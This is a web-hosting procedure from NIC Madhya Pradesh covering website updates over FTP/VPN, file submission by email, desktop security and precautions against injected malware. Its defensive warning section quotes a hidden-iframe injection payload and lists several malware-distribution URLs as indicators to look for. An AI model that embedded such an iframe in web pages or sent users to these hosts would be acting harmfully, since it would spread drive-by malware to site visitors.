

## Procedure for Updation/Maintenance of Website Securely [Operational/Running on NIC Server]

The website, which is operational/running on NIC Server, can be updated by the concerned User organization either through FTP over VPN facility (independently) or through forwarding revised/updated/modified files to Web Services Division (By E-mail [wsd-mp@nic.in](mailto:wsd-mp@nic.in)).

### 1. Independently through FTP over VPN facility: -

**1.1. Introduction:** - NIC provides File Transfer facility (FTP), which allows updation and maintenance of website from any remote location through VPN (Virtual Private Network) at your convenience. The FTP over VPN facility is a secured channel for this purpose. The facility can be availed by all the user Departments/Organizations, whose website/web-enabled application is operational on NIC Server. In this connection, you are requested to kindly note/consider the following.

- 1.1.1. Digital Signature Certificate would be valid for the period of one year from the date of issue. After completion of one year, you need to renew the VPN account.
- 1.1.2. VPN User will be responsible for the safety of the VPN Certificates, PIN, Username and password used for accessing VPN Service.
- 1.1.3. The certificate issued to be used only for accessing the NIC VPN Service and not to be indulged in any activity. Also ensure that the related information about NIC VPN Services is not disclosed, that may result in the breach of the NIC facilities.
- 1.1.4. The VPN services, provided by NIC, cannot control the contents of the website being updated and hence NIC will not be responsible for the contents of the website. Also, the VPN services offered will not be responsible for security breach of the website by exploiting vulnerabilities in the site updating services (FrontPage, FTP, SSH, SQL, etc.) and Web Services (HTTP). Also will not be responsible for security breach of the VPN Client software.

**1.2. Obtaining FTP over VPN Facility:** - The process involved the following stages.

- 1.2.1. Forward filled-in **Digital Certificate Request Form for VPN Services**, available on the website of NIC Madhya Pradesh at URL [http://www.mp.nic.in/VPN\\_DSC\\_form.pdf](http://www.mp.nic.in/VPN_DSC_form.pdf), to Web Services Division, National Informatics Centre, Madhya Pradesh State Centre, "C" Wing Basement, Vindhyachal Bhawan, Bhopal [M.P] - 462 004.
- 1.2.2. The Filled-in forms, received from the user, is forwarded (after due verification and endorsement) to VPN-Group, NIC(HQ), for creation of VPN User/Password and forwarding the same to the User along with the NIC, MPSC, Bhopal.

- 1.2.3. NIC, MPSC, Bhopal generate required request on behalf of the user and create Digital Certificate as per the instructions provided in the communication through E-mail by NIC(HQ). The same communication is also forwarded to the user by NIC(HQ).
  - 1.2.4. NIC, MPSC, Bhopal forward Digital Certificate to the user for installation and Testing of establishment of FTP over VPN on Computer system (only on Client Machine) of User Organization. Installation of VPN should not be done on Server machine and also should not be behind Proxy Server.
  - 1.2.5. After establishment & testing of VPN, please send E-mail communication to [wsd-mp@nic.in](mailto:wsd-mp@nic.in) confirming the successful establishment of VPN on Client Machine to obtain FTP User-ID & Password of the related website.
  - 1.2.6. NIC, MPSC, Bhopal will forward the required FTP User-ID/Password of the related website to you through E-mail.
2. **By Forwarding Updated Files to Web Services Division through E-mail:** - NIC extend uploading facility to the users for uploading updated/modified pages/files of their website, which are being forwarded to Web Services Division, NIC, MPSC, Bhopal through E-mail ([wsd-mp@nic.in](mailto:wsd-mp@nic.in)).
- 2.1. Open the running website and download the file (on your local Client Machine) using “View Source” option of your Browser, which you want to update/modify from your website.
  - 2.2. Open the downloaded file using HTML Editor i.e., FrontPage, NotePad, etc. to edit the same as per your requirement.
  - 2.3. Save the revised file with the exactly same name along with preserving the existing path, as it is running on the related website.
  - 2.4. Forward the softcopy revised/updated/modified files to Web Services Division in E-mail account [wsd-mp@nic.in](mailto:wsd-mp@nic.in) for uploading the same on NIC Web Server. Or, you can forward the revised/updated/modified files to Web Services Division on storage media (CD, PEN Drive, etc.) through covering letter. This E-mail/letter should contain the following.
    - 2.4.1. Description of files & Folder details (if any), being attached with the E-mail.
    - 2.4.2. Website URL of your running website.
  - 2.5. Web Services Division will upload such revised files in your website area (on NIC Server) to replace the old files. Subsequently, an E-mail reply also would be sent by WSD in your (originating) E-mail account to confirm the updation & checking of the revised contents.
  - 2.6. **Note the following Important Points.**
    - 2.6.1. Do not send printed documents to Web Services Division for updation of the website. NIC will not entertain such request for website updations.

- 2.6.2. All the E-mail communication, related to updation/maintenance of the website, should be forwarded only in E-mail account only.
- 2.6.3. Send only those file formats to Web Services Division, which are available on your running website, for updation, as NIC entertain only those running file formats.

### 3. Desktop Security [for FTP over VPN]

- 3.1. Keep details related to VPN ID/Password, FTP User-ID/Password & Digital Certificate safe & secured
  - 3.2. Ensure that the Client Machine being used for maintaining the website(s) is virus-free. Install and maintain updated anti-virus software at gateway and desktop level, besides installing personal firewall.
  - 3.3. Configure client system with least privileges and use Administrator account judiciously. Keep up-to-date patches and fixes on the operating system and application software
  - 3.4. Enforce Password policy & use strong passwords, besides locking of Desktop by password protected screen savers.
  - 3.5. Also ensure that the web-contents being uploaded on allocated web-space are virus-free.
  - 3.6. Preventing unauthorized software/freeware and Block the use of unauthorized USB drives
  - 3.7. Exercise caution while opening unsolicited emails and do not click on a link embedded within
  - 3.8. Disable Active scripting except for trusted websites. Browse the Internet safely and disable Unrecognized BHO (Browser Helper Object)
  - 3.9. Avoiding change in IP address of the Client systems
  - 3.10. Use wireless networks with securely
4. **Precaution to avoid insertion of Malicious Malwares:** - It is observed in some of the web pages that some malicious malwares get inserted with the links to the malicious malwares spreading sites. Such links get inserted at the top/bottom of the web pages in the form as given below.

```
<iframe src="http://jL.cfu&#113.pl/rc/" style="display:none"></iframe>
```

Some of the URLs being inserted are given below, but not an exhaustive list. You are advised not to click the URLs as clicking these URLs may take you to the malware sites and may cause malicious software to be downloaded on your systems.

- 4.1. [g.asdafdgfgf.com/ads.js](http://g.asdafdgfgf.com/ads.js)
- 4.2. [nbl.com.tw/inc/logo.js](http://nbl.com.tw/inc/logo.js)

- 4.3. rifnax.cn
- 4.4. xyz.cn/lg.js
- 4.5. a.cdd1.com
- 4.6. .....
- 4.7. .....
- 4.8. .....
  
- 4.9. Thus, you are recommended to perform the following, in addition to keep your system up-to-date with latest antivirus signature and patches.
  - 4.9.1. While publishing websites on to the Web-Server, the source code of the page being published is to be given a scan to look out for references to any unknown URLs in the form as above.
  - 4.9.2. Sometimes encoded forms of URLs Ex: %27%20.... also get inserted. Give attention to contents or URLs you do not recognize.
  - 4.9.3. Look at the source code of the page on the Client before you publish to the Server using editing tool such as “notepad”.
  - 4.9.4. Also, look at the source code of the web page on the Web-Server after you have published using editing tool such as “notepad”.
  - 4.9.5. Give another verification look of the source code of the page both on the Client as well as on the Server after publishing using a web browser.

**5. If your site is found to be inserted with above form of IFRAME or links then it will be de-hosted from production.**

**Note:** - All the Static website or Web-enabled Application are being made available on NIC (Production) Server only after obtaining Security Clearance from Cyber Security Division, NIC(HQ). Therefore, it may be noted that any further addition of dynamic contents on the website (operational/running on NIC Server) or change in application logic in the running application **will attract security re-audit by the concerned User Organization**. Therefore, please ensure that any application being loaded on the server should be cleared by the empanelled Security Auditor. The security audit of the web-enabled application will have to be done by user organization, through empanelled Security Auditors, as per the procedure for conducting Third Party Security Audit available at website URL <http://www.mp.nic.in/GuidelinesThirdPartySecurityAuditByUSer.pdf>, however, the details regarding panel of IT Security Auditors may be seen from URL <http://www.cert.in.org.in/security-auditors.htm>.

This Document is also available on the website of NIC, Madhya Pradesh ([www.mp.nic.in](http://www.mp.nic.in)) under option ‘Utility Forms/Documents’.

For more details, please visit <http://www.webservices.nic.in>.